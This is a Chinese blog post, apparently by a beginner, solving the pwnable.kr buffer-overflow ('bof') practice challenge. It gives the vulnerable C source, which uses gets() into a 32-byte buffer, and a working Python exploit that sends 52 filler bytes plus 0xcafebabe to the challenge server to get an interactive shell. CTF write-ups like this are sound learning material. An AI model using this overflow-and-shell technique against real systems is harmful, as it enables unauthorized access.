pwn学习之路

5 篇文章 0 订阅

最近也开始学习pwn了。。。网站平台是http://pwnable.kr/play.php

网址是http://pwnable.kr/play.php

第三题,代码如下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

显然是要覆盖。。。

下载了他的文件,然后IDA打开,


arg_0的参数是8字节,按照图一里,就是0x2C+8=44+8=52

所以需要覆盖52位

然后写python代码,这里要感谢giantbranch大大,我是按照他的博客,一步步开始学习,他的博客是https://blog.csdn.net/u012763794/article/details/51992512


我也自己做了点测试。

代码如下

# -*-coding:utf8 -*-
import socket
import telnetlib
import struct
# 将32位的整数转化为字符串(小端模式)
def p32(val):
    # <:小端模式  L:unsigned long
    return struct.pack("<L", val)
def pwn():
    '''
     ####cmp     [ebp+arg_0], 0CAFEBABEh
     ####这里 ebp是44,args_0是8,所以地址是52

    char s; // [sp+1Ch] [bp-2Ch]@1
    overflowme的基址为ebp-0x2c,即44个字节,再加上  ebp  和   返回地址  的8个字节就是52个字节,最后的4个字节覆盖就可以了
    '''
    # 创建一个TCP socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务器的9000端口(接收的参数是一个元组)
    s.connect(("pwnable.kr", 9000))
    # 目标被填充的地址
    target_addr = p32(0xcafebabe)
    #本来的bp地址是 44+4(bp)+4(返回地址)==52
    ### 所以需要先覆盖52位,没有了返回

    ###我试着改为56,然后溢出了,溢出保护,导致终止了
    ###小于52,则没有覆盖
    # 构造payload,52长度
    payload = '1' * 52 + target_addr
    print payload
    # 向服务器发送数据
    s.sendall(payload + '\n')
    # 创建一个telnet来产生一个控制服务器的shell
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
pwn()

pycharm里开始运行,然后就可以发现建立了shell

输入ls


  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值